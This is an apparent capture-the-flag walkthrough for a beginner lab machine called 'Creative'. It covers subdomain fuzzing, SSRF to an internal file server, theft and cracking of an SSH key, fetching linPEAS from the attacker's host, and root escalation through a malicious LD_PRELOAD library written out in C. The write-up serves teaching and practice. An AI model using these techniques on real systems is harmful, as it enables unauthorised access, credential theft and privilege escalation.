Creative is a well-made and fun CTF challenge, perfect for beginners. This room will help you build a solid reconnaissance and privilege escalation methodology. Some techniques required to conquer this room are commonly encountered across various challenge platforms, making it an excellent starting point for your CTF journey.
Note: I usually set two environment variables in my .profile when beginning a CTF:
$ip– the IP address of the target$myip– the IP address of my machine
This enables me to refer to the IP addresses quickly without having to use copy & paste.
Reconnaissance & Footprinting
We start by running nmap on the target IP address to identify open ports and find out what services the machine provides. Usually I run 3 scans in total, one quick scan to find all of the open ports, one scan to identify service versions and one last scan to run default scripts on all open ports. This approach provides a clear and concise output and is generally the most efficient. However, the result here is quite straightforward, so a single scan will do.
# nmap -p- -A -T5 $ip
Starting Nmap 7.60 ( https://nmap.org )
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
We have discovered a typical port 22/80 CTF machine. There are no exploitable vulnerabilities present in the identified service versions. In the output of the http-title script we see that port 80 redirects to creative.thm, which our machine cannot resolve. Let’s add this hostname to our /etc/hosts.
# echo -e "$ip \t creative.thm" >> /etc/hosts
Once we access http://creative.thm, we are greeted by a professional looking website for a web design company.

At this point it is usually a good idea to explore the website and its source code in order to find out how it works and – in the case of a CTF – which parts actually do anything. Reviewing the source code can also uncover specific subdirectories and provide insights into the technologies used to build the site. In this case, there is nothing ultimately useful here, but there are a few points worth noting:
- The contact form only sends the message as a query parameter in a GET request
- The user and password fields appear to not be used
- I played around with the contact form for a bit but did not find any angle that led anywhere
- There is a menu option components that leads to a separate site showcasing building blocks for the website. Certainly odd, but I did not find anything exploitable here either
Subdirectory Fuzzing
We use ffuf to look for subdirectories. As a wordlists I like two lists from the popular SecLists repository, which we combine into one file in our home directory:
cat /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-{directories,files}-lowercase.txt > ~/weblist
With this list we can fuzz the URL path:
# ffuf -u http://creative.thm/FUZZ -w weblist -fc 404
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://creative.thm/FUZZ
:: Wordlist : FUZZ: weblist
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 404
________________________________________________
assets [Status: 301, Size: 178, Words: 6, Lines: 8]
[Status: 200, Size: 37589, Words: 14867, Lines: 686]
[Status: 200, Size: 37589, Words: 14867, Lines: 686]
index.html [Status: 200, Size: 37589, Words: 14867, Lines: 686]
. [Status: 200, Size: 37589, Words: 14867, Lines: 686]
Further enumerating the /assets directory reveals 4 common subdirectories, /css, /imgs, /js and /vendors. All of these were already visible from the source code and not surprising. I tried enumerating these directories further but did not find anything useful.
Subdomain Fuzzing
We get our first interesting result when looking for subdomains via the host header:
# ffuf -u http://creative.thm/ -H 'host:FUZZ.creative.thm' -w weblist -fc 404,301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : GET
:: URL : http://creative.thm/
:: Wordlist : FUZZ: weblist
:: Header : Host: FUZZ.creative.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response status: 404,301
________________________________________________
beta [Status: 200, Size: 591, Words: 91, Lines: 20]
We have found a subdomain, beta.creative.thm! In order to access this domain, we need to once again add it to our hosts file:
# echo -e "$ip \t creative.thm" >> /etc/hosts
Once we access this domain in our browser, we see some suspicious functionality that will ultimately provide us with a foothold.
Initial Access
The website shows a “Beta URL tester”, where we can input a URL and see if it is reachable.

The machine is actually not connected to the internet, so trying http://google.com for example doesn’t work. We can point it at http://creative.thm, though, and we see that it returns the main site, albeit without any embedded content like CSS or JavaScript. When we try it with a nonsense URL we get a very basic page that just says “dead”.
So we found a way to cause the server to make requests on our behalf. We can exploit this via Server Side Request Forgery (SSRF) if the server has no adequate checks and filters in place. For a start, we can issue a request to a listener on our machine to find out more about the application. Staring a listener on our machine:
$ nc -nlvp 8080
We can then put http://<OUR_IP>:8080 in the form and see the request in our terminal
Listening on [0.0.0.0] (family 0, port 8080)
Connection from 10.10.74.25 51976 received!
GET / HTTP/1.1
Host: 10.10.17.83:8080
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
From the response, we can gather some information, for example from the host header. We now know that Python is working in the background, but this does not get us far. Also other common angles like LFI or command injection don’t yield anything. For meaningful results we have to go deeper.
Discovering the internal server
We can point the server at its own loopback address 127.0.0.1, maybe there’s another port open on that IP. Therefore, we capture a form submission with the help of tools like Burp Suite or simply the browser’s development tools. The request we save in the file request.txt and replace the port number with FUZZ so we can enumerate the ports with ffuf.
POST / HTTP/1.1
Host: beta.creative.thm
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://beta.creative.thm
Connection: keep-alive
Referer: http://beta.creative.thm/
Upgrade-Insecure-Requests: 1
url=http://127.0.0.1:FUZZ
To generate a wordlist for ffuf, we use the seq utility to generate a list of all port numbers
seq 1 65536 > ports.txt
Since every request will yield a valid HTTP 200 response, we cannot filter by return code. The simple “Dead” page has a size of 13 bytes, so we can filter the response size using the -fs parameter.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1
________________________________________________
:: Method : POST
:: URL : http://beta.creative.thm
:: Wordlist : FUZZ: ports.txt
:: Header : Accept-Encoding: gzip, deflate
:: Header : Origin: http://beta.creative.thm
:: Header : Referer: http://beta.creative.thm/
:: Header : Upgrade-Insecure-Requests: 1
:: Header : Host: beta.creative.thm
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Connection: keep-alive
:: Header : User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
:: Header : Accept-Language: en-US,en;q=0.5
:: Data : url=http://127.0.0.1:FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 13
________________________________________________
80 [Status: 200, Size: 5831, Words: 15, Lines: 32]
1337 [Status: 200, Size: 422, Words: 2, Lines: 3]
We have found that port 1337 is listening on the loopback address!
Retrieving the SSH key
When we use the beta domain to retrieve the content of http://127.0.0.1:1337, we see a directory listing of the hosts filesystem beginning at the root.

We can continue using the URL tester to poke around the filesystem by prefixing the path with http://127.0.0.1:1337. As we look around for interesting files we can dig down into the home folder and find that there’s a user called saad on the system. Inside their home folder we can already access the user flag, but let’s gain a foothold first, since we need full access for the root flag anyway. The file http://127.0.0.1:1337/home/saad/.bash_history contains the user’s password
whoami pwd ls -al ls cd .. sudo -l echo "saad:[REDACTED]" > creds.txt rm creds.txt sudo -l whomai whoami pwd ls -al sudo -l ls -al pwd whoami mysql -u root -p netstat -antlp mysql -u root sudo su ssh root@192.169.155.104 mysql -u user -p mysql -u db_user -p ls -ld /var/lib/mysql ls -al cat .bash_history cat .bash_logout nano .bashrc ls -al
This is of no immediate use, since /etc/ssh/sshd_config forbids password login for this user.
Match User saad PasswordAuthentication no
Maybe it will come in handy later, so let’s note it down. Finally, we access /home/saad/.ssh/id_rsa and download the SSH private key for the user. When we try to log in to the machine, we see that the key is protected with a passphrase:
chmod 600 id_rsa
ssh saad@$taddr -i id_rsa
Enter passphrase for key 'id_rsa':
Luckily, John the Ripper can help. We convert the file to a format John can understand:
/opt/john/ssh2john.py id_rsa > id_rsa.hash
It takes a few minutes for John to crack the passphrase with the help of rockyou.txt.
john id_rsa.hash --wordlist /usr/share/wordlists/rockyou.txt --format=SSH
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (id_rsa)
And with that we help ourselves to a foothold and a nice user flag!
Privilege Escalation
When it comes to elevating my privileges, I like to run a few manual tests first to check for low hanging fruit. First, I do some more internal enumeration, especially checking /home, /tmp and /opt directories. The user’s CLI history is also always interesting; both methods would’ve yielded the user’s password in this case. Also, we should check for files in other places belonging to the user with
find / -user saad 2>/dev/null
as users sometimes hide sensitive notes in random places throughout the system. With the help of the user’s password, we can check sudo permissions as well:
saad@m4lware:~$ sudo -l
Matching Defaults entries for saad on m4lware:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD
User saad may run the following commands on m4lware:
(root) /usr/bin/ping
The user can run ping as root. However, there are no ways to exploit this to get an interactive shell according to GTFOBins. Other things we can try:
- Find binaries with the SUID bit set
- Check for misconfigured cronjobs or systemd timers
- Find scripts or git repositories with hardcoded credentials
- Look for kernel exploits (only run kernel exploits if system crashes are acceptable!)
None of these methods seem to get us anywhere, so let’s bring out the big guns: LinPEAS!
If you don’t know linPEAS yet, make sure you add it to your arsenal. It comes with a plethora of privilege escalation checks and colour-codes its output, so you don’t miss the most likely approaches. Let’s serve linpeas from our machine:
cp /opt/PEAS/linPEAS/linpeas.sh ~
python3 -m http.server 8080
And download and run linPEAS on the target:
wget http://<ATTACK_MACHINE_IP>:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -P <USER_PASSWORD_WE_FOUND_EARLIER>
When we look at the output, we see that we missed something during our initial checks.

The environment variable LD_PRELOAD specifies shared libraries that will be loaded before executing a command. By setting the option env_keep+=LD_PRELOAD, this variable persists when commands are run under a different user. This can be exploited to run arbitrary code. Fortunately, the script also links us to an article on HackTricks on how to exploit this (if you haven’t bookmarked HackTricks yet, you should!)
We write our own malicious library that just runs bash as root:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
We compile the code into a libary
gcc -fPIC -shared -o /tmp/pe.so /tmp/pe.c -nostartfiles
Finally, we gain root access by running ping while preloading our library
sudo LD_PRELOAD=/tmp/pe.so ping 127.0.0.1
Congrats on your root shell and flag!
Any questions, comments or remarks? Feel free to interact with me on Mastodon.



